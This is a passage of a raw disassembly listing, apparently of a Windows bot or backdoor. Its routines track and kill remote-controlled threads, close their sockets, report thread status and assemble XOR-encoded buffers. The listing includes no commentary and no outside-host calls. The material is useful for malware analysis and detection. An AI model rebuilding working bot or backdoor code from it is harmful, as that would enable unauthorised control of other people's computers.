push [ebp+Source] ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
push 1Ch ; Count
lea eax, [ebp+Dest]
push eax ; Source
push [ebp+Source] ; Dest
call _strncpy
add esp, 18h
loc_40AB7E: ; CODE XREF: sub_40AAE6+77j
mov eax, [ebp+Source]
leave
retn
sub_40AAE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40AB83(char *Dest,int,int,char *Str1)
sub_40AB83 proc near ; CODE XREF: sub_402472+52p
; sub_4025EF+4Bp ...
Source = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Str1 = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
xor esi, esi
loc_40AB8C: ; CODE XREF: sub_40AB83+40j
cmp [ebp+Str1], 0
jz short loc_40ABAA
lea eax, dword_43C4A0[esi]
push eax ; Str2
push [ebp+Str1] ; Str1
call _strcmp
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40ABB8
; ---------------------------------------------------------------------------
loc_40ABAA: ; CODE XREF: sub_40AB83+Dj
mov ecx, dword_43C4AC[esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40ABB8: ; CODE XREF: sub_40AB83+25j
test eax, eax
jnz short loc_40ABC7
add esi, 14h
inc edi
cmp esi, 78h
jb short loc_40AB8C
jmp short loc_40ABD5
; ---------------------------------------------------------------------------
loc_40ABC7: ; CODE XREF: sub_40AB83+37j
push [ebp+Source] ; Dest
lea eax, [edi+edi*4]
call off_43C4B0[eax*4]
pop ecx
loc_40ABD5: ; CODE XREF: sub_40AB83+42j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40ABE8
push [ebp+Source] ; Source
call sub_40AAE6
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40ABE8: ; CODE XREF: sub_40AB83+58j
mov eax, [ebp+Source]
pop ebp
retn
sub_40AB83 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40ABED(char *Str,int)
sub_40ABED proc near ; CODE XREF: sub_40AC0D+Ap
; sub_40AE01+8p ...
Str = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+Str] ; Str
call _strlen
push [esp+8+arg_4] ; Str
mov esi, eax
call _strlen
pop ecx
pop ecx
lea eax, [esi+eax*2+0C1h]
pop esi
retn
sub_40ABED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40AC0D(void *Dst,int,char *Src,int)
sub_40AC0D proc near ; CODE XREF: sub_40AE18+49p
var_4 = dword ptr -4
Dst = dword ptr 8
arg_4 = dword ptr 0Ch
Src = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C] ; int
push [ebp+Src] ; Str
call sub_40ABED
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_40AC2A
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40AC2A: ; CODE XREF: sub_40AC0D+17j
push ebx
push esi
push edi
push [ebp+Src] ; Str
call _strlen
push [ebp+arg_C] ; Str
mov esi, eax
call _strlen
mov ebx, [ebp+Dst]
mov edi, eax
lea eax, [edi+esi+12h]
mov dword_43D7EC, eax
lea eax, [edi+1]
mov dword_43D80D, eax
push 0FFFFFFEDh
lea eax, [edi+17h]
mov dword_43D805, eax
pop eax
push 74h ; Size
sub eax, edi
push offset dword_43D788 ; Src
push ebx ; Dst
mov dword_43D81B, eax
call _memcpy
push esi ; Size
push [ebp+Src] ; Src
lea eax, [ebx+74h]
push eax ; Dst
call _memcpy
push 5 ; Size
add esi, 74h
lea eax, [esi+ebx]
push offset aGet ; " get "
push eax ; Dst
call _memcpy
push edi ; Size
push [ebp+arg_C] ; Src
add esi, 5
lea eax, [esi+ebx]
push eax ; Dst
call _memcpy
push 10h ; Size
add esi, edi
lea eax, [esi+ebx]
push (offset aGet+5) ; Src
push eax ; Dst
call _memcpy
add esp, 44h
push edi ; Size
push [ebp+arg_C] ; Src
add esi, 10h
lea eax, [esi+ebx]
push eax ; Dst
call _memcpy
push 38h ; Size
add esi, edi
push offset byte_43D811 ; Src
add esi, ebx
push esi ; Dst
call _memcpy
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40AC0D endp
; =============== S U B R O U T I N E =======================================
sub_40ACE5 proc near ; CODE XREF: sub_40AD00+47p
; sub_40AE01+Ep
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_40ACEE
inc ecx
loc_40ACEE: ; CODE XREF: sub_40ACE5+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_40ACE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40AD00(void *Dst,int,int,int)
sub_40AD00 proc near ; CODE XREF: sub_40AE18+56p
var_4 = dword ptr -4
Dst = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_C]
cmp dl, 0Ah
jz short loc_40AD1A
cmp dl, 0Dh
jz short loc_40AD1A
cmp dl, 5Ch
jz short loc_40AD1A
test dl, dl
jnz short loc_40AD1E
loc_40AD1A: ; CODE XREF: sub_40AD00+Aj
; sub_40AD00+Fj ...
inc edx
mov [ebp+arg_C], edx
loc_40AD1E: ; CODE XREF: sub_40AD00+18j
push esi
mov esi, 0FFh
cmp edx, esi
jbe short loc_40AD46
mov eax, edx
shr eax, 8
cmp al, 0Ah
jz short loc_40AD3D
cmp al, 0Dh
jz short loc_40AD3D
cmp al, 5Ch
jz short loc_40AD3D
test al, al
jnz short loc_40AD46
loc_40AD3D: ; CODE XREF: sub_40AD00+2Fj
; sub_40AD00+33j ...
add edx, 100h
mov [ebp+arg_C], edx
loc_40AD46: ; CODE XREF: sub_40AD00+26j
; sub_40AD00+3Bj
push edx
call sub_40ACE5
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_40AD5C
cmp eax, 0FFFFh
jbe short loc_40AD63
loc_40AD5C: ; CODE XREF: sub_40AD00+53j
xor eax, eax
jmp loc_40ADFE
; ---------------------------------------------------------------------------
loc_40AD63: ; CODE XREF: sub_40AD00+5Aj
push ebx
mov bl, byte_4D1FE8
xor ecx, ecx
test edx, edx
push edi
mov edi, [ebp+arg_8]
jbe short loc_40AD90
loc_40AD74: ; CODE XREF: sub_40AD00+8Ej
mov al, [ecx+edi]
xor al, bl
jz short loc_40AD87
cmp al, 0Ah
jz short loc_40AD87
cmp al, 0Dh
jz short loc_40AD87
cmp al, 5Ch
jnz short loc_40AD8B
loc_40AD87: ; CODE XREF: sub_40AD00+79j
; sub_40AD00+7Dj ...
inc bl
xor ecx, ecx
loc_40AD8B: ; CODE XREF: sub_40AD00+85j
inc ecx
cmp ecx, edx
jb short loc_40AD74
loc_40AD90: ; CODE XREF: sub_40AD00+72j
cmp edx, esi
mov byte_4D1FE8, bl
ja short loc_40ADBC
push 15h ; Size
push offset dword_43D770 ; Src
push [ebp+Dst] ; Dst
mov byte_43D77D, dl
mov byte_43D781, bl
call _memcpy
add esp, 0Ch
push 15h
jmp short loc_40ADDD
; ---------------------------------------------------------------------------
loc_40ADBC: ; CODE XREF: sub_40AD00+98j
push 17h ; Size
push offset dword_43D758 ; Src
push [ebp+Dst] ; Dst
mov word_43D766, dx
mov byte_43D76B, bl
call _memcpy
add esp, 0Ch
push 17h
loc_40ADDD: ; CODE XREF: sub_40AD00+BAj
xor eax, eax
cmp [ebp+arg_C], eax
pop ecx
jbe short loc_40ADF9
mov edx, [ebp+Dst]
lea esi, [ecx+edx]
loc_40ADEB: ; CODE XREF: sub_40AD00+F7j
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_40ADEB
loc_40ADF9: ; CODE XREF: sub_40AD00+E3j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_40ADFE: ; CODE XREF: sub_40AD00+5Ej
pop esi
leave
retn
sub_40AD00 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40AE01(char *Str,int)
sub_40AE01 proc near ; CODE XREF: sub_40AE18+Dp
Str = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4] ; int
push [esp+4+Str] ; Str
call sub_40ABED
push eax
call sub_40ACE5
add esp, 0Ch
retn
sub_40AE01 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40AE18(void *Dst,int,char *Str,int)
sub_40AE18 proc near ; CODE XREF: sub_410A35+7Cp
Dst = dword ptr 8
arg_4 = dword ptr 0Ch
Src = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+Src]
push edi
mov edi, [ebp+arg_C]
push edi ; int
push ebx ; Str
call sub_40AE01
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_40AE38
cmp eax, 0FFFFh
jbe short loc_40AE3C
loc_40AE38: ; CODE XREF: sub_40AE18+17j
xor eax, eax
jmp short loc_40AE81
; ---------------------------------------------------------------------------
loc_40AE3C: ; CODE XREF: sub_40AE18+1Ej
push esi
push edi ; int
push ebx ; Str
call sub_40ABED
add eax, 101h
push eax ; Size
call _malloc
add esp, 0Ch
push edi ; int
push ebx ; Src
push edi ; int
push ebx ; Str
mov esi, eax
call sub_40ABED
pop ecx
pop ecx
push eax ; int
push esi ; Dst
call sub_40AC0D
push eax ; int
push esi ; int
push [ebp+arg_4] ; int
push [ebp+Dst] ; Dst
call sub_40AD00
push esi ; Memory
mov edi, eax
call _free
add esp, 24h
mov eax, edi
pop esi
loc_40AE81: ; CODE XREF: sub_40AE18+22j
pop edi
pop ebx
pop ebp
retn
sub_40AE18 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40AE85(char *Source,int,int)
sub_40AE85 proc near ; CODE XREF: sub_40274D+6E4p
; sub_40274D+91Ap ...
Source = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_4442E8
loc_40AE8D: ; CODE XREF: sub_40AE85+18j
cmp byte ptr [eax], 0
jz short loc_40AEA1
add eax, 234h
inc edi
cmp eax, offset dword_4D12E8
jl short loc_40AE8D
jmp short loc_40AEEC
; ---------------------------------------------------------------------------
loc_40AEA1: ; CODE XREF: sub_40AE85+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh ; Count
push [esp+0Ch+Source] ; Source
lea eax, dword_4442E8[esi]
push eax ; Dest
call _strncpy
mov eax, [esp+14h+arg_4]
and dword_4444EC[esi], 0
mov dword_4444E8[esi], eax
mov eax, [esp+14h+arg_8]
add esp, 0Ch
and dword_4444F0[esi], 0
mov dword_4444F4[esi], eax
mov byte_444500[esi], 0
pop esi
loc_40AEEC: ; CODE XREF: sub_40AE85+1Aj
mov eax, edi
pop edi
retn
sub_40AE85 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40AEF0(int,char *Str,int,int)
sub_40AEF0 proc near ; CODE XREF: sub_40B186+31p
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0 ; int
push [ebp+arg_8] ; int
push offset dword_4329BC ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 14h
xor edi, edi
mov esi, offset dword_4442E8
loc_40AF1A: ; CODE XREF: sub_40AEF0+78j
cmp byte ptr [esi], 0
jz short loc_40AF5B
cmp [ebp+arg_C], 0
jnz short loc_40AF2E
cmp dword ptr [esi+204h], 0
jnz short loc_40AF5B
loc_40AF2E: ; CODE XREF: sub_40AEF0+33j
push esi
push edi
lea eax, [ebp+Dest]
push offset aD_S ; "%d. %s"
push eax ; Dest
call _sprintf
push 1 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 24h
loc_40AF5B: ; CODE XREF: sub_40AEF0+2Dj
; sub_40AEF0+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_4D12E8
jl short loc_40AF1A
pop edi
pop esi
leave
retn
sub_40AEF0 endp
; =============== S U B R O U T I N E =======================================
sub_40AF6E proc near ; CODE XREF: sub_40274D+779Bp
; sub_40AFF6+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40AFF0
cmp esi, 400h
jge short loc_40AFF0
imul esi, 234h
push edi
push ebx
lea edi, dword_4444FC[esi]
push dword ptr [edi]
call ds:dword_42B028 ; TerminateThread
cmp [edi], ebx
jz short loc_40AFA0
inc ebp
loc_40AFA0: ; CODE XREF: sub_40AF6E+2Fj
mov [edi], ebx
lea edi, dword_4444F0[esi]
mov eax, [edi]
cmp eax, ebx
mov dword_4444E8[esi], ebx
mov dword_4444EC[esi], ebx
jbe short loc_40AFC1
push eax
call sub_41C736
pop ecx
loc_40AFC1: ; CODE XREF: sub_40AF6E+4Aj
mov [edi], ebx
lea edi, dword_4444F4[esi]
push dword ptr [edi]
mov byte ptr dword_4442E8[esi], bl
mov byte_444500[esi], bl
call dword_444218 ; closesocket
lea esi, dword_4444F8[esi]
push dword ptr [esi]
mov [edi], ebx
call dword_444218 ; closesocket
mov [esi], ebx
pop edi
loc_40AFF0: ; CODE XREF: sub_40AF6E+Dj
; sub_40AF6E+15j
pop esi
mov eax, ebp
pop ebp
pop ebx
retn
sub_40AF6E endp
; =============== S U B R O U T I N E =======================================
sub_40AFF6 proc near ; CODE XREF: sub_40110F+18p
; sub_40274D+2D10p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_4442E8
loc_40B002: ; CODE XREF: sub_40AFF6+2Aj
cmp byte ptr [esi], 0
jz short loc_40B013
push edi
call sub_40AF6E
test eax, eax
pop ecx
jz short loc_40B013
inc ebx
loc_40B013: ; CODE XREF: sub_40AFF6+Fj
; sub_40AFF6+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4D12E8
jl short loc_40B002
pop edi
pop esi
mov eax, ebx
pop ebx
retn
sub_40AFF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B028 proc near ; CODE XREF: sub_40274D+3E9Bp
; sub_40274D+3FE3p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_4444EC
loc_40B03C: ; CODE XREF: sub_40B028+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B05E
test edi, edi
jle short loc_40B050
cmp [esi], edi
jz short loc_40B050
cmp ebx, edi
jnz short loc_40B05E
loc_40B050: ; CODE XREF: sub_40B028+1Ej
; sub_40B028+22j
push ebx
call sub_40AF6E
test eax, eax
pop ecx
jz short loc_40B05E
inc [ebp+var_4]
loc_40B05E: ; CODE XREF: sub_40B028+1Aj
; sub_40B028+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4D14EC
jl short loc_40B03C
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B028 endp
; =============== S U B R O U T I N E =======================================
sub_40B075 proc near ; CODE XREF: sub_40274D+896p
; sub_40274D+1B5Fp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_4444E8
loc_40B07C: ; CODE XREF: sub_40B075+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B085
inc eax
loc_40B085: ; CODE XREF: sub_40B075+Dj
add ecx, 234h
cmp ecx, offset dword_4D14E8
jl short loc_40B07C
retn
sub_40B075 endp
; =============== S U B R O U T I N E =======================================
sub_40B094 proc near ; CODE XREF: sub_40274D+2210p
arg_0 = dword ptr 4
xor eax, eax
xor edx, edx
mov ecx, offset dword_4444E8
push esi
loc_40B09E: ; CODE XREF: sub_40B094+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B0B7
add ecx, 234h
inc edx
cmp ecx, offset dword_4D14E8
jl short loc_40B09E
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B0B7: ; CODE XREF: sub_40B094+10j
mov eax, edx
pop esi
retn
sub_40B094 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B0BB(int,int,int,int,int,int,int,char *Str)
sub_40B0BB proc near ; CODE XREF: sub_40274D+10CEp
; sub_40274D+10E9p ...
Dest = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
Str = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+Str], eax
jz short loc_40B0D4
push [ebp+Str] ; Str
call j__atol
pop ecx
loc_40B0D4: ; CODE XREF: sub_40B0BB+Ej
push eax
push [ebp+arg_18]
call sub_40B028
test eax, eax
pop ecx
pop ecx
jle short loc_40B100
push eax
push [ebp+arg_14]
lea eax, [ebp+Dest]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax ; Dest
call _sprintf
add esp, 14h
jmp short loc_40B11A
; ---------------------------------------------------------------------------
loc_40B100: ; CODE XREF: sub_40B0BB+26j
push [ebp+arg_14]
lea eax, [ebp+Dest]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax ; Dest
call _sprintf
add esp, 10h
loc_40B11A: ; CODE XREF: sub_40B0BB+43j
cmp [ebp+arg_C], 0
jnz short loc_40B13A
push 0 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 14h
loc_40B13A: ; CODE XREF: sub_40B0BB+63j
lea eax, [ebp+Dest]
push eax
call sub_417D70
pop ecx
leave
retn
sub_40B0BB endp
; =============== S U B R O U T I N E =======================================
sub_40B149 proc near ; CODE XREF: sub_4025EF+14Cp
; sub_40B186+39p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
imul eax, 234h
xor ecx, ecx
mov dword_4444FC[eax], ecx
mov dword_4444E8[eax], ecx
mov dword_4444EC[eax], ecx
mov dword_4444F0[eax], ecx
mov dword_4444F4[eax], ecx
mov dword_4444F8[eax], ecx
mov byte ptr dword_4442E8[eax], cl
mov byte_444500[eax], cl
retn
sub_40B149 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_40B186 proc near ; DATA XREF: sub_40274D+275Fo
var_98 = dword ptr -98h
Str = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 98h
mov eax, [ebp+74h+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_98]
rep movsd
push [ebp+74h+var_10] ; int
mov dword ptr [eax+94h], 1
push [ebp+74h+var_C] ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_98] ; int
call sub_40AEF0
push [ebp+74h+var_14]
call sub_40B149
add esp, 14h
push 0
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_40B186 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B1D0 proc near ; CODE XREF: sub_40B264+41p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
mov ecx, [edx]
push edi
xor edi, edi
and [ebp+var_8], edi
xor eax, eax
inc eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B1F1
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B1F1: ; CODE XREF: sub_40B1D0+19j
push ebx
push esi
loc_40B1F3: ; CODE XREF: sub_40B1D0+77j
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B201
cmp [ebp+var_4], eax
jnz short loc_40B249
loc_40B201: ; CODE XREF: sub_40B1D0+2Aj
test edi, edi
jnz short loc_40B23E
cmp bl, 2Dh
jnz short loc_40B232
lea esi, [ecx+1]
mov cl, [ecx-1]
mov al, [esi]
cmp cl, al
jge short loc_40B232
cmp al, 5Dh
jz short loc_40B232
cmp [ebp+var_4], edi
jnz short loc_40B232
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B23E
cmp bl, al
jg short loc_40B23E
mov [edx], esi
jmp short loc_40B23B
; ---------------------------------------------------------------------------
loc_40B232: ; CODE XREF: sub_40B1D0+38j
; sub_40B1D0+44j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B23E
loc_40B23B: ; CODE XREF: sub_40B1D0+60j
xor edi, edi
inc edi
loc_40B23E: ; CODE XREF: sub_40B1D0+33j
; sub_40B1D0+58j ...
inc dword ptr [edx]
and [ebp+var_4], 0
xor eax, eax
inc eax
jmp short loc_40B1F3
; ---------------------------------------------------------------------------
loc_40B249: ; CODE XREF: sub_40B1D0+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B256
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B256: ; CODE XREF: sub_40B1D0+7Ej
cmp edi, eax
jnz short loc_40B25F
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B25F: ; CODE XREF: sub_40B1D0+88j
mov eax, edi
pop edi
leave
retn
sub_40B1D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B264 proc near ; CODE XREF: sub_40274D+7A0Fp
; sub_40B2F8+65p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor eax, eax
push esi
mov esi, [ebp+arg_0]
inc eax
jmp short loc_40B2C6
; ---------------------------------------------------------------------------
loc_40B270: ; CODE XREF: sub_40B264+66j
cmp eax, 1
jnz short loc_40B2D7
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B2D7
cmp cl, 2Ah
jz short loc_40B2AF
cmp cl, 3Fh
jz short loc_40B294
cmp cl, 5Bh
jz short loc_40B299
xor eax, eax
cmp cl, dl
setz al
loc_40B294: ; CODE XREF: sub_40B264+22j
inc [ebp+arg_4]
jmp short loc_40B2C2
; ---------------------------------------------------------------------------
loc_40B299: ; CODE XREF: sub_40B264+27j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
inc esi
push eax
mov [ebp+arg_0], esi
call sub_40B1D0
mov esi, [ebp+arg_0]
jmp short loc_40B2C0
; ---------------------------------------------------------------------------
loc_40B2AF: ; CODE XREF: sub_40B264+1Dj
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B2F8
mov esi, [ebp+arg_0]
dec esi
loc_40B2C0: ; CODE XREF: sub_40B264+49j
pop ecx
pop ecx
loc_40B2C2: ; CODE XREF: sub_40B264+33j
inc esi
mov [ebp+arg_0], esi
loc_40B2C6: ; CODE XREF: sub_40B264+Aj
mov cl, [esi]
test cl, cl
jnz short loc_40B270
jmp short loc_40B2D7
; ---------------------------------------------------------------------------
loc_40B2CE: ; CODE XREF: sub_40B264+76j
cmp eax, 1
jnz short loc_40B2F3
inc esi
mov [ebp+arg_0], esi
loc_40B2D7: ; CODE XREF: sub_40B264+Fj
; sub_40B264+18j ...
cmp byte ptr [esi], 2Ah
jz short loc_40B2CE
cmp eax, 1
jnz short loc_40B2F3
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B2F3
cmp byte ptr [esi], 0
jnz short loc_40B2F3
xor eax, eax
inc eax
jmp short loc_40B2F5
; ---------------------------------------------------------------------------
loc_40B2F3: ; CODE XREF: sub_40B264+6Dj
; sub_40B264+7Bj ...
xor eax, eax
loc_40B2F5: ; CODE XREF: sub_40B264+8Dj
pop esi
pop ebp
retn
sub_40B264 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2F8 proc near ; CODE XREF: sub_40B264+53p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
inc dword ptr [esi]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
xor ebx, ebx
jmp short loc_40B327
; ---------------------------------------------------------------------------
loc_40B312: ; CODE XREF: sub_40B2F8+35j
mov cl, [eax]
cmp cl, 3Fh
jz short loc_40B323
cmp cl, 2Ah
jnz short loc_40B32F
cmp cl, 3Fh
jnz short loc_40B325
loc_40B323: ; CODE XREF: sub_40B2F8+1Fj
inc dword ptr [edi]
loc_40B325: ; CODE XREF: sub_40B2F8+29j
inc dword ptr [esi]
loc_40B327: ; CODE XREF: sub_40B2F8+18j
mov ecx, [edi]
cmp [ecx], bl
mov eax, [esi]
jnz short loc_40B312
loc_40B32F: ; CODE XREF: sub_40B2F8+24j
cmp byte ptr [eax], 2Ah
jnz short loc_40B33E
loc_40B334: ; CODE XREF: sub_40B2F8+44j
inc eax
mov ecx, eax
mov [esi], eax
cmp byte ptr [ecx], 2Ah
jz short loc_40B334
loc_40B33E: ; CODE XREF: sub_40B2F8+3Aj
mov ecx, [edi]
mov dl, [ecx]
cmp dl, bl
jnz short loc_40B35B
cmp [eax], bl
jz short loc_40B34E
xor eax, eax
jmp short loc_40B3C0
; ---------------------------------------------------------------------------
loc_40B34E: ; CODE XREF: sub_40B2F8+50j
cmp dl, bl
jnz short loc_40B35B
cmp [eax], bl
jnz short loc_40B35B
xor eax, eax
inc eax
jmp short loc_40B3C0
; ---------------------------------------------------------------------------
loc_40B35B: ; CODE XREF: sub_40B2F8+4Cj
; sub_40B2F8+58j ...
push ecx
push eax
call sub_40B264
test eax, eax
pop ecx
pop ecx
jnz short loc_40B3AA
loc_40B368: ; CODE XREF: sub_40B2F8+B0j
inc dword ptr [edi]
mov ecx, [esi]
mov eax, [edi]
mov cl, [ecx]
cmp cl, [eax]
jz short loc_40B38C
loc_40B374: ; CODE XREF: sub_40B2F8+92j
mov ecx, [esi]
cmp byte ptr [ecx], 5Bh
jz short loc_40B38C
cmp [eax], bl
jz short loc_40B3A1
inc eax
mov [edi], eax
mov ecx, [esi]
mov cl, [ecx]
mov edx, eax
cmp cl, [edx]
jnz short loc_40B374
loc_40B38C: ; CODE XREF: sub_40B2F8+7Aj
; sub_40B2F8+81j
cmp [eax], bl
jz short loc_40B3A1
push eax
push dword ptr [esi]
call sub_40B264
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B3A6
; ---------------------------------------------------------------------------
loc_40B3A1: ; CODE XREF: sub_40B2F8+85j
; sub_40B2F8+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_40B3A6: ; CODE XREF: sub_40B2F8+A7j
cmp eax, ebx
jnz short loc_40B368
loc_40B3AA: ; CODE XREF: sub_40B2F8+6Ej
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B3BD
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B3BD
mov [ebp+var_4], 1
loc_40B3BD: ; CODE XREF: sub_40B2F8+B6j
; sub_40B2F8+BCj
mov eax, [ebp+var_4]
loc_40B3C0: ; CODE XREF: sub_40B2F8+54j
; sub_40B2F8+61j
pop edi
pop esi
pop ebx
leave
retn
sub_40B2F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B3C5(int,char *Str,int)
sub_40B3C5 proc near ; CODE XREF: sub_40274D+28E2p
Source = byte ptr -400h
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+Dest]
push offset asc_432A30 ; "-"
push eax ; Dest
xor ebx, ebx
call _sprintf
cmp dword_43D878, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B438
push esi
mov esi, offset dword_43D880
loc_40B3F8: ; CODE XREF: sub_40B3C5+70j
cmp dword ptr [esi], 0
jbe short loc_40B42E
mov eax, [esi]
push eax
add ebx, eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+Source]
push offset asc_432A24 ; " "
push eax ; Dest
call _sprintf
push edi ; Count
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
add esp, 1Ch
loc_40B42E: ; CODE XREF: sub_40B3C5+36j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B3F8
pop esi
loc_40B438: ; CODE XREF: sub_40B3C5+2Bj
push dword_4D1FD0
call sub_41D5F8
push eax
push ebx
lea eax, [ebp+Source]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax ; Dest
call _sprintf
push edi ; Count
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
push 0 ; int
